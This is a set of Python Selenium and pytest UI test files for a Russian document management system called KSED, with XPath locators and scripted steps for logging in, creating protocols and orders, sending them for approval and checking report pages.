punktiBtn = '//button[contains(@id, "create-point-button")]' #xpath # Кнопка "Пункты"
punktPoruch = '(//a[contains(@class, "yuimenuitemlabel")][contains(text(), "Поручение")])[1]' #xpath # Пункт/Поручение
textPoruch = '//textarea[contains(@id, "ts_point-desc")]' #xpath # Текст поручения
tipPoruch = '//input[contains(@id, "type-assoc-cntrl-autocomplete-input")]' # xpath # Тип поручения
otvetstv_ispolnVpunktah = '//input[contains(@id, "_executor-assoc-cntrl-autocomplete-input")]' # xpath # Ответственный исполнитель в пунктах карточки документа
srokIspoln = '//input[contains(@id, "ts_limitation-date-cntrl-date")]' #xpath # Срок исполнения (среднее знач)
btnOKform = '//button[contains(@id, "form-submit-button")]' #xpath # Кнопка ОК на форме
addPunkt = '(//button[@title = "Добавить пункт"])[1]' #xpath # Кнопка "Добавить пункт"
textPunktaRD = 'prop_lecm-ord-table-structure_item-content' #name # Текст пункта РД
rassilka = '//em[text() = "Рассылка"]' #xpath # Вкладка "Рассылка"
btnVipolnit = '(//button[contains(@id, "create-mailing-list-button-button")])[1]' # xpath # Кнопка "Создать маршрут"
punktBtnVipolnit = '//a[text() = "Создать и заполнить указатель"]' #xpath # Создать и заполнить
otvetstv_ispolnVpunktahRD = '//input[contains(@id, "executor-assoc-cntrl-autocomplete-input")]' #xpath # Ответственный исполнитель в пункте РД
#(Функциональное меню "Действия")
#Согласовать
sendFor_approval = '//div[contains(text(), "Направить на согласование")]' #xpath # Действие "Направить на согласование"
sendFor_podpis = '//div[contains(text(), "Направить на подписание")]' # xpath # Действие "Направить на подписание"
sendFor_execution = '//div[contains(text(), "Направить на исполнение")]' # xpath # Действие "Направить на исполнение"
btnOKnaprNaIspoln = '//button[text() = "ОК"]' #xpath # Кнопка "ОК" на форме подтверждения действия "Направить на исполнение"
confirm = '(//button[contains(@id, "-button")][text() = "ОК"])[1]' #xpath # Подтверждение согласования
confirm2 = '(//button[contains(@id, "-button")][text() = "ОК"])' # xpath # Подтверждение согласования
confirm_3 = '(//button[contains(@id, "-button")][text() = "ОК"])[4]' # xpath # Подтверждение согласования
confirm_4 = '//button[contains(@id, "-reportForm-form-submit-button")]' # xpath # Подтверждение согласования
confirm_5 = '(//button[contains(@id, "-button")][text() = "ОК"])[2]'# xpath # Подтверждения выбора
confirm_6 = '(//button[contains(@id, "rn-document-approval_document-kind-assoc-cntrl-ok-button")])' # xpath # Подтверждения выбора
confirm_7 = '(//button[contains(@id, "document-approval_pvu-assoc-cntrl-ok-button")])' # xpath # Подтверждения выбора
confirm_8 = '(//button[contains(@id, "document-approval_lnd-kind-assoc-cntrl-ok-button")])' # xpath # Подтверждения выбора
confirm_9 = '//button[contains(@id, "workflow-form-form-submit-button")][text() = "ОК"]' # xpath # Подтверждение согласования
#"Отправить отчет"
actionSendAllere = '//div[text() = "Отправить отчет"]' #xpath # "Отправить отчет" действие
btnSend = '//button[text() = "Отправить"]' #xpath # Кнопка "Отправить"
textAllur = '//textarea[contains(@name, "_execute_1ReportText")]' #xpath # Текстовое поле "Текст отчета"
btnAddSvyz = '//button[contains(@id, "tree-picker-button-button")]' #xpath # Кнопка добавления связи "..."
searchDoc = '//input[contains(@id, "picker-searchText")]' #xpath # Строка поиска в форме подбора
oneListEl = '(//span[@class = "addIcon"])[1]' # xpath # Первый элемент в списке справочника
btnOK = '//button[contains(@id, "-ok-button")]' #xpath # Кнопка "ОК" в форме подбораsaveProject
status_Doc = '//span[contains(@id, "_status")]' #xpath # Статус документа во вкладке (Основные сведения) (//div[text() = "Не начат"])[1]
status_Doc_1 = '(//span[contains(@id, "_status")])[1]' #xpath # Статус документа во вкладке (Основные сведения)
status_etap = '(//div[text() = "Не начат"])[1]' # xpath # Статус документа во вкладке (Основные сведения)
# (панель согласования)
APPROVED_button = '//button[contains(@id, "APPROVED-button")]' #xpath # Кнопка "Согласовать"
APPROVED_WITH_REMARK_button = '//button[contains(@id, "APPROVED_WITH_REMARK-button")]' #xpath # Кнопка "Согласовать с комментариями"
REJECTED_button = '//button[contains(@id, "REJECTED-button")]' #xpath # Кнопка "Отклонить"
internal_approval = '//button[contains(@id, "internal_approval-button")]' #xpath # Кнопка "Внутреннее согласование"
prop_bpm_comment = '//textarea[contains(@class, "invalid")]' #name # Поле комментария prop_bpm_comment
prop_bpm_comment_sogl = '//textarea[contains(@id, "form_prop_bpm_comment")]' # Поле комментария
apply_button_button = '//button[contains(@id, "apply-button")]' #xpath # Кнопка "ОК" при вынесении решения согласования
apply_button_button2 = '//span[@class = "button-group"]//button[contains(@id, "-button") and text() = "ОК"]' #xpath # Кнопка "ОК" при вынесении решения согласования
SIGNED_button = '//button[contains(@id, "SIGNED-button")]' #xpath # Кнопка "Подписать"
navedenieSogl = '(//div[contains(text(), "Внутреннее согласование")])[1]' #xpath # наведение на этап согласования
# # ПРОТОКОЛ
# #(форма создания документа)
# addEl = '(//span[@class="addIcon"])[7]' #xpath # Вид документа(Протокол совещания рабочей группы)
# addEl2 = '(//span[@class="addIcon"])[6]' #xpath Вид документа "Служебная записка"
# РАСПОРЯДИТЕЛЬНЫЙ ДОКУМЕНТ
#(форма создания документа)
preambula = '//textarea[contains(@id, "-eds-document_summaryContent")]' #xpath # Преамбула
obcontrol = '//input[contains(@id, "-ord_controller-assoc-cntrl-autocomplete-input")]' #xpath # Общий контроль
wid_doc = '(//select[contains(@id, "_assoc_lecm-eds-document_document-type-assoc")])[1]' #xpath # Вид документа (в РД)
wid_doc_rasp = '//option[contains(text(), "Распоряжение")]' #xpath # Вид документа РД (Распоряжение)
# ПРОТОКОЛ
#(форма создания документа)
addEl = '(//span[@class="addIcon"])[7]' #xpath # Вид документа(Протокол совещания рабочей группы)
addEl2 = '(//span[@class="addIcon"])[6]' #xpath Вид документа "Служебная записка"
date = '//input[contains(@id, "_meeting-date-cntrl-date")]' #xpath # Дата совещания
category = '//input[contains(@id, "_category-assoc-cntrl-autocomplete-input")]'#xpath # Категория
Chairman = '//input[contains(@id, "chairman-assoc-cntrl-autocomplete-input")]'#xpath # Председатель
Secretary = '//input[contains(@id, "_secretary-assoc-cntrl-autocomplete-input")]'#xpath # Секретарь
person_present = '//input[contains(@id, "_attended-assoc-cntrl-autocomplete-input")]'#xpath # Присутствовали
#(карточка документа)
#РЕЕСТР
#(форма создания документа)
vid_reestra = '//select[contains(@id, "_document-registry_type")]' #xpath # Вид реестра
vid_reestraPR = '//option[contains(text(), "Передачи на регистрацию")]' #xpath # Вид реестра (Передачи на рег..)
vid_reestraPP = '//option[contains(text(), "Приема/передачи")]' #xpath # Вид реестра (Приема/передачи)
btnCreateChern = '//button[contains(text(), "Создать черновик")]' #xpath # Кнопка "Создать черновик"
btnCreateSend = '//button[contains(text(), "Создать и отправить")]' # Кнопка "Создать и отправить"
inpDoc = '//input[contains(@id, "registry_doc-assoc-cntrl-autocomplete-input")]' #xpath # Поле "Документы"
poluchatel = '//input[contains(@id, "document-registry_receiver-assoc-autocomplete")]' #xpath # Поле "Получатель"
# СЛУЖЕБНАЯ ЗАПИСКА
#(форма создания документа)
adresati = '//input[contains(@id, "internal_recipients-assoc-autocomplete")]'#xpath # Адресаты
podpisanti = '// input[contains( @ id, "aspects_signerEmployeeAssoc-cntrl-autocomplete")]' #xpath # подписантф
# ПРОИЗВОЛЬНЫЙ ДОКУМЕНТ
#(форма создания документа)
prorabotka = '(//input[contains(@id, "_status-employee-assoc-cntrl-autocomplete-input")])[1]'#xpath # Проработка
chBprorab = '(//input[contains(@class, "formsCheckBox")])[1]' #xpath # чекбокс проработка
normokontrol = '(//input[contains(@id, "_status-employee-assoc-cntrl-autocomplete-input")])[2]'#xpath # Нормоконтроль
chBnorm = '(//input[contains(@class, "formsCheckBox")])[2]' #xpath # чекбокс Проработка
soglasovanie = '(//input[contains(@id, "_status-employee-assoc-cntrl-autocomplete-input")])[3]'#xpath # Согласование
podpisanie = '(//input[contains(@id, "_status-employee-assoc-cntrl-autocomplete-input")])[4]'#xpath # Подписание
utverzhdenie = '(//input[contains(@id, "_status-employee-assoc-cntrl-autocomplete-input")])[5]'#xpath # Утверждение
oznakomlenie = '(//input[contains(@id, "_status-employee-assoc-cntrl-autocomplete-input")])[7]'#xpath # Ознакомление
# ПОРУЧЕНИЕ
# (форма создания документа)
text_poruch = 'prop_lecm-errands_content' # name #Текст поручения
otvetstv_ispoln = '//input[contains(@id, "executor-assoc-autocomplete")]'#xpath # Ответственный исполнитель
# ПАКЕТ ВХОДЯЩЕЙ КОРРЕСПОНДЕНЦИИ
# ВХОДЯЩИЙ ДОКУМЕНТ
#(форма создания документа)
ishNumber = 'prop_lecm-incoming_outgoing-number' #name # Исходящий номер
dateIS = '//input[contains(@id, "-incoming_outgoing-date-cntrl-date")]' # xpath # Дата исходящего
# ИСХОДЯЩИЙ ДОКУМЕНТ
#(форма создания документа)
osnovPodpis = 'prop_lecm-outgoing_signing-basis' #name # Основание подписания
korrespondentISH = '//input[contains(@id, "contractor-assoc-autocomplete")]' #xpath # Корреспондент
clickNull = '//div[contains(@id, "_default-form-container")]' # КЛИК ВНЕ АТРИБУТОВ
# Мои поисковые Запросы
listChange = '//select[contains(@id, "default_searchQuery-selectType-entry")]' #Выпадающий список
listChangeSZ = '//option[text() = "Служебная записка"]' #Выпадающий список - служебная записка
listChangeRD = '//option[text() = "Распорядительный документ"]' # Выпадающий список - РД
butSave = '//div[contains(@class, "query-button-grey")][3]' #Кнопка сохранить
nameZap = '//input[contains(@id, "createDetails_prop_lecm-search-queries_name")]' #Наименование запроса
zaprosToDel = '//span[text() = "ToDel"]'#созданный запрос
butDel = '//span[contains(@class, "yui-button yui-push-button")]//button[text() = "Удалить поисковый запрос"]' #Кнопка удалить
butRed = '//span[contains(@class, "yui-button yui-push-button")]//button[text() = "Редактировать поисковый запрос"]' #Кнопка редактировать
butDelAc = '//span[contains(@class, "first-child")]//button[text() = "Удалить"]' #Кнопка удалить подтверждение
checkBoxFirst = '(//input[@name = "fileChecked"])[1]' #Первый чекбокс в списке
butAct = '(//button[text() = "Действия с выбранными"])[2]' #Кнопка действия с выбором
butAct_2 = '(//button[text() = "Действия с выбранными"])' # Кнопка действия с выбором
butExp ='(//button[text() = "Экспорт"])[2]' #Кнопка экспорта
butExp_2 = '(//button[text() = "Экспорт"])' # Кнопка экспорта
butFavorite = '//a [text() = "Добавить в избранное"]' #Кнопка добавить в избранное
butOK = '//button[text() = "Ок"]' #Кнопка OK добавить в избранное
butSelExp = '(//a[text() = "Выгрузить выбранные"])' #Кнопка экспорта выбранного
# Карточка согласования
kurator = '// input[contains( @ id, "document-approval_curators-assoc-cntrl-autocomplete-input")]'#xpath # куратор
viewSelecton = '//span[contains(@class, "-push-button")][contains(@id, "document-approval_document-kind-assoc-cntrl-tree-picker")]' # xpath # вид документа
proUpLevel = '//button[contains(@id, "document-approval_pvu-assoc-cntrl-tree-picker-button-button")]' # xpath # процессы верхнего уровня
viewLndSelecton = '//button[contains(@id, "document-approval_lnd-kind-assoc-cntrl-tree-picker-button-button")]' # xpath # вид документа
rdSelecton = '// span[text() = "РД"]' # xpath # выбор РД
lndSelecton = '// span[text() = "ЛНД"]' # xpath # выбор ЛНД
etcSelecton = '// span[text() = "Прочие"]' # xpath # выбор Прочие
levelFirst = '// span[text() = "1-й иерархический уровень"]' # xpath # выбор уровня
levelFirst_1 = '//input[contains(@id, "rn-document-approval_pvu-assoc-cntrl-autocomplete-input")]' # xpath # ввод в поле вернего уровня
btnSelection4 = '(//span[contains(@class, "addIcon")])[4]' # xpath # Кнопка + четвертый выбор
btnContinium = '//button[text() = "Продолжить"]' # кнопка продолжить
titleCS = '//input[contains(@name, "prop_lecm-document_title")]' # xpath # заголовок
saveProject = '//button[text() = "Сохранить проект"]' # xpath # сохранить проект
btnAddPerson = '(//a[contains(@title, "Добавить")])[1]' # xpath # добавить сотрудника
btnAddPerson_2 = '(//span[text() = "Добавить сотрудника"]//parent::a[contains(@id, "onActionAddEmployee")])[1]'
reserchInput = '//input[contains(@id, "employee-search-text")]' # строка поиска
zamechSogl = '(//div[contains(@class, "annotation-comment")])' # комментарии
statusSogl = '//a[contains(@onclick, "ApprovalResult")]' # cтатус согласования
statusSogl_2 ='//a[contains(@class,"approval-approved-status")]' # cтатус согласования
rejectSogl = '//div[contains(text(), "Отозвать с согласования")]' # кнопка отозвать с согласования
reasonReject = '//textarea[@title = "Причина"]' # причина отказа / отзыва
btnAction = '//button[contains(@id, "-attachment-actions-button-button")]' # кнопка действие
downLoadNewVersion = '//a[text() = "Загрузить новую версию"]' # кнопка загрузить новую версию
bntVersion = '//button[text() = "Версии"]' # кнопка версия
btnInApp = '//button[contains(@id, "start_internal_approval-button")]'# кнопка внутреннего согласования
btnInApp_2 ='//button[contains(@id, "_internal_approval")]'# кнопка внутреннего согласования
employeeForSogl = '//input[contains(@id, "employeeAssoc-cntrl-autocomplete-input")]' # поле сотрудники
btnRejectInnerSogl = '//div[@title = "Отозвать внутреннее согласование"]' # кнопка отозвать внутреннее согласование
statusInner = '(//div[contains(@class,"approver-item-status")])[2]' # статус внутреннего согласования
statusInner_2 = '(//div[contains(@class,"approver-item-status")])[1]' # статус внутреннего согласования
statusInner_3 = '//a[contains(@onclick,"viewApprovalResult")]'# статус внутреннего согласования
statusInner_4 = '(//div[contains(@class,"approver-decision-no-decision")])[2]'
navedTaskInnerSogl = '(//div[text() = "Выполняется"])[1]' # для наведения на задачу согласования внутреннего
btnRjctTaskInnerApp = '(//a[contains(@title, "Отозвать")])[1]' # кнопка отозвать задачу согласования внутреннего
btnAddAtt = '//button[contains(@id, "attachment-add-button")]' # кнопка добавить вложение
bntDocForRassmotr = '//a[text() = "Документы для рассмотрения"]' # кнопка добавить вложение для рассморения
elmDownloaded = '//a[@class = "text-cropped" and contains(string(), "Doc.docx")]' # добавленное вложение
btnAddComment = '//button[@title = "Замечание"]' # кнопка добавления замечаний
areaComment = '//textarea[contains(@id, "approval-annotation_comment")] '# замечания
checkComment = '(//div[@class ="rn-approval-annotations"]//div[@class = "annotation-comment"])[1]' # проверка комментариев
returnDecision = '//div[contains(@title, "Отозвать решение")]' # кнопка отзыв решения
softDecision = '//div[contains(@title, "Смягчить решение")]' # кнопка смягчитьрешение
takeTasks = '//div[contains(@class, "widget-button-grey")][contains(text(), "Забрать задачу")]' # кнопка забрать задачу
backTasks = '//div[contains(@class, "widget-button-grey")][contains(text(), "Вернуть задачу")]' # кнопка вернуть задачу
infoMassage = '(//div[@class = "bd"])[1]' # информационное сообщение
butDelComment = '//div[@title = "Удалить"]' # кнопка удаления комментариев
```
tk11778.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDCreatDocPorSoglas(MPages, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=dataTest.baseURL):
super().__init__(web_driver, uri)
@allure.step("Авторизация")
def LogIN(self, username, password):
self.username_text = username
self.password_text = password
self.LogIn_button.click()
self.wait_page_loaded()
#wait_page_loaded(self._web_driver)
assert "АРМ" in self._web_driver.title or "Документ" in self._web_driver.title
# Открытие документа из прошлого ТК
def getDoc(self):
my_file = open("Tests/linkDocPoruchenie.txt", "r")
my_string = my_file.read()
my_string.strip()
self._web_driver.get(my_string)
my_file.close()
self.wait_page_loaded()
def Soglasovanie(self, ):
self.APPROVED_button.wait_to_be_clickable()
self.APPROVED_button.click()
# self.prop_bpm_comment.wait_until_not_visible()
# self.prop_bpm_comment.send_keys('я так хотю')
self.apply_button_button2.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id="confirm-edit-fields-form-container_mask"]')
self.wait_page_loaded()
# открыть согласование вкладку
self.soglasovanieWkladka2.wait_to_be_clickable()
self.soglasovanieWkladka2.click()
# выпадающий список согласований
self.dropBtn.wait_to_be_clickable()
self.dropBtn.click()
self.status_Doc.wait_until_not_visible()
assert "Согласовано" in self.resultSogl.get_text()
```
test_Allure.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk12011 import KSEDStatAllureVidDic
from KSED.Tests.tk12013 import KSEDStatAllureTipDoc
from KSED.Tests.tk12012_1 import KSEDStatAllureTemDoc
from KSED.Tests.tk12012_2 import KSEDStatAllureTemDocO
from KSED.Tests.tk12030 import KSEDallurResolution
from KSED.Tests.tk12006 import KSEDallur
from KSED.Tests.tk12022 import KSEDallurInDoc
from KSED.Tests.tk12025 import KSEDallurIsp
from KSED.Tests.tk12026 import KSEDallurDeadLine
from KSED.Tests.tk12027 import KSEDallurEffPodr
from KSED.Tests.tk12029 import KSEDallurReestr
@allure.feature('Статический отчет "Сводка по видам документов')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12011(web_browser):
""" Статический отчет "Сводка по видам документов """
page = KSEDStatAllureVidDic(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!') # Авторизуемся
#getDoc = page.StatAllureVidDoc()
@allure.feature('Статический отчет "Сводка по типам документов')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12013(web_browser):
""" Статический отчет "Сводка по типам документов """
page = KSEDStatAllureTipDoc(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!') # Авторизуемся
getDoc = page.StatAllureTipDoc()
@allure.feature('Статический отчет "Сводка по тематикам документов')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12012_1(web_browser):
""" Статический отчет "Сводка по тематикам документов """
page = KSEDStatAllureTemDoc(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!') # Авторизуемся
getDoc = page.StatAllureTemDoc()
@allure.feature('Статический отчет "Сводка по тематикам документов (Объедин.)')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12012_2(web_browser):
""" Статический отчет "Сводка по тематикам документов(Объедин.) """
page = KSEDStatAllureTemDocO(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!') # Авторизуемся
getDoc = page.StatAllureTemDocO()
# closeWindow = page.closeWindow()
# getDoc = page.StatAllureTemDocO()
@allure.feature('Статический отчет "Сводка по тематикам документов (Объедин.)')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12030(web_browser):
""" """
page = KSEDallurResolution(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!') # Авторизуемся
# getDoc = page.StatAllureTemDocO()
# closeWindow = page.closeWindow()
# getDoc = page.StatAllureTemDocO()
#****Сергей
@allure.feature('Проверка отчетов в узле "Журналы" раздела "Отчеты"')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12006(web_browser):
""" """
page = KSEDallur(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
@allure.feature('Отчет "Исполнение входящих документов"')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12022(web_browser):
""" """
page = KSEDallurInDoc(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
@allure.feature('Отчет "Исполнительская дисциплина по авторам"')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12025(web_browser):
""" """
page = KSEDallurIsp(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
@allure.feature('Отчет "Неисполненные поручения с истекшим сроком"')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12026(web_browser):
""" """
page = KSEDallurDeadLine(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
@allure.feature('Отчет "Продуктивность по исполнителям"')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12027(web_browser):
""" """
page = KSEDallurEffPodr(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
@allure.feature('Отчет "Реестр для закрытия неактуальных контрольных поручений"')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12029(web_browser):
""" """
page = KSEDallurReestr(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
```
tk11655.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDCreatDocPor(MPages, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=dataTest.baseURL):
super().__init__(web_driver, uri)
# self.get(dataTest.baseURL)
# wait_page_loaded(self.w)
@allure.step("Авторизация")
def LogIN(self, username, password):
#**page = Locator(self.w)
#page = MPages(self.w, self.w.current_url)
self.username_text = username
# print(Locator.username_text)
self.password_text = password
self.LogIn_button.click()
self.wait_page_loaded()
#wait_page_loaded(self._web_driver)
assert "АРМ" in self._web_driver.title
# Создание документа (открытие формы создания и заполнение атрибутов)
def Creat(self,):
#**page = Locator(self.w)
#page = MPages(self.w, self.w.current_url)
wait = WebDriverWait(self._web_driver, 10)
self.newDoc_button.click()
self.poruchenie.click()
self.wait_page_loaded()
#**wait_page_loaded(self.w)
assert "Страница создания документа" in self._web_driver.title
# Атрибуты документа
self.wait_page_loaded()
#**wait_page_loaded(self.w)
# Тип поручения
wait.until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.tipPoruch)))
self.tipPoruch.wait_until_not_visible()
self.tipPoruch.scroll_to_element()
self.tipPoruch.send_keys(u'Для информации' + Keys.ENTER)
# Категория документа
self.category_doc.wait_until_not_visible()
self.category_doc.send_keys(u'Открытый' + Keys.RETURN)
# Ответственный исполнитель
self.otvetstv_ispoln.scroll_to_element()
self.otvetstv_ispoln.send_keys(u'Строганов' + Keys.RETURN)
# Кнопка "Создать"
self.btnCreateDoc.scroll_to_element()
self.btnCreateDoc.wait_to_be_clickable()
self.btnCreateDoc.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id="confirm-edit-fields-form-container_mask"]')
#**wait_page_loaded(self.w)
self.wait_page_loaded()
assert "Документ" in self._web_driver.title
# Сохраним ссылку на документ в файл
def LinkDocWFile(self):
url = self._web_driver.current_url
my_file = open("Tests/linkDocPoruchenie.txt", "w")
my_file.write(str(url))
my_file.close()
```
tk12030.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time
from selenium.webdriver import ActionChains
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDallurResolution(Locator, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=''):
super().__init__(web_driver, uri)
self.get(dataTest.baseURL)
wait_page_loaded(self.w)
def LogIN(self, username, password):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
page = Locator(self.w)
page.username_text = username
print(Locator.username_text)
page.password_text = password
page.LogIn_button.click()
page2 = MPages(self.w, self.w.current_url)
wait_page_loaded(self.w)
assert "АРМ" in self.w.title
#time.sleep(0.5)
actions = ActionChains(self.w)
actions.move_to_element(page.section_allur).click().perform() # Перейти в строку отчеты
time.sleep(0.5) # без этого ожидания не работает
WebDriverWait(self.w, 5).until(EC.visibility_of_element_located((By.XPATH, KSEDLocators.node_ispDisp)))
page.node_ispDisp.click() # Перейти отчеты по исп дисциплине
page2.melements.click()
# time.sleep(1)
page2.wait_page_loaded()
page2.m2elements.click()
# page.allu_SostIspR.click() # Перейти в раздел состояние исполнеия резолюций
# time.sleep(2)
WebDriverWait(self.w, 5).until(EC.visibility_of_element_located((By.XPATH, KSEDLocators.confirm_3)))
page.confirm_3.click() # Кнопка ОК
time.sleep(0.5)
assert len(self.w.window_handles) == 2 # Проверка, что открытось 2 окно
```
test_Protocol.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk11669 import KSEDCreatDocP
from KSED.Tests.tk13756 import KSEDCreatDocPSoglas
from KSED.Tests.tk11952 import KSEDCreatDocP_sendDorab
@allure.feature('Создание Протокола')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11669(web_browser):
""" Создание протокола. """
page = KSEDCreatDocP(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
@allure.feature('Направление Протокола на согласование')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_13756(web_browser):
""" Создание и Направление Протокола на согласование. """
page = KSEDCreatDocPSoglas(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
Attach = page.attachment()
addPoruch = page.addPoruchenie()
NaprNaSogl = page.NapSoglasovanie()
@allure.feature('Возврат протокола на доработку при согласовании.')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11952(web_browser):
""" Возврат протокола на доработку при согласовании. """
page = KSEDCreatDocP_sendDorab(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!') # Авторизуемся
Creat_doc = page.Creat() # Создадим документ
Attach = page.attachment() # Добавим вложение
addPoruch = page.addPoruchenie() # Добавим пункт поручение
NaprNaSogl = page.NapSoglasovanie() # Направим на согласование
Logout = page.USER_LOGOUTs() # Выйдем из системы
LogIn_page = page.LogIN('YatskinRS', 'Changeme!') # Авторизуемся согласующим созданного документа
notification = page.notificationOpen() # Откроем уведомления и перейдем в документ
REJECTED = page.REJECTED() # Отклоним и вернем документ на доработку
```
tk11704.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time, datetime
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.action_chains import ActionChains
from selenium.common.exceptions import *
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDnaprSZSoglas(Locator, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=''):
super().__init__(web_driver, uri)
self.get(dataTest.baseURL)
wait_page_loaded(self.w)
@allure.step("Авторизация")
def LogIN(self, username, password):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
page = Locator(self.w)
page.username_text = username
print(Locator.username_text)
page.password_text = password
page.LogIn_button.click()
wait_page_loaded(self.w)
assert "АРМ" in self.w.title
# Открытие документа из прошлого ТК
def getDoc(self):
my_file = open("Tests/linkDocSZ.txt", "r")
my_string = my_file.read()
my_string.strip()
self.w.get(my_string)
my_file.close()
#self.w.get(KSEDLocators.LinkDoc)
wait_page_loaded(self.w)
# Добавление вложения
def attachment(self,):
page = Locator(self.w)
wait = WebDriverWait(self.w, 10)
actions = ActionChains(self.w)
actions.move_to_element(page.vlozheniya).perform()
time.sleep(0.5)
page.attachments.click()
time.sleep(0.5)
page.show_list.click()
# wait.until(EC.element_to_be_clickable((By.XPATH, '//div[contains(@id, "default-dialog")]')))
time.sleep(0.5)
#wait.until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.fileUpload)))
page.fileUpload.click()
time.sleep(0.5)
#wait.until(EC.presence_of_element_located((By.XPATH, KSEDLocators.files)))
# wait.until(EC.element_to_be_clickable((By.XPATH, '//div[contains(@id, "default-dialog")]')))
page.files.send_keys('C:\\test.txt')
# # Добавление пункта "Поручение"
# def addPoruchenie(self, ):
# page = Locator(self.w)
#
# wait = WebDriverWait(self.w, 10)
#
# time.sleep(1)
# page.show.click()
#
# WebDriverWait(self.w, 10).until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.punkti)))
# page.punkti.click()
#
# WebDriverWait(self.w, 10).until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.punktiBtn)))
# page.punktiBtn.click()
#
# page.punktPoruch.click()
#
# page.textPoruch.send_keys("Произвольный текст")
#
# page.tipPoruch.send_keys("Поручение по пункту РД" + Keys.RETURN)
#
# page.otvetstv_ispolnVpunktah.send_keys("Главный" + Keys.RETURN)
#
# dd = datetime.date.today().strftime('%d%m%Y')
# page.srokIspoln.send_keys(dd)
#
# page.btnOKform.click()
# Создание маршрута согласования
def creation_of_the_approval_route(self):
page = Locator(self.w)
wait = WebDriverWait(self.w, 10)
time.sleep(1)
# "Показать общую карточку" клик
page.show.click()
# "Согласование" вкладка
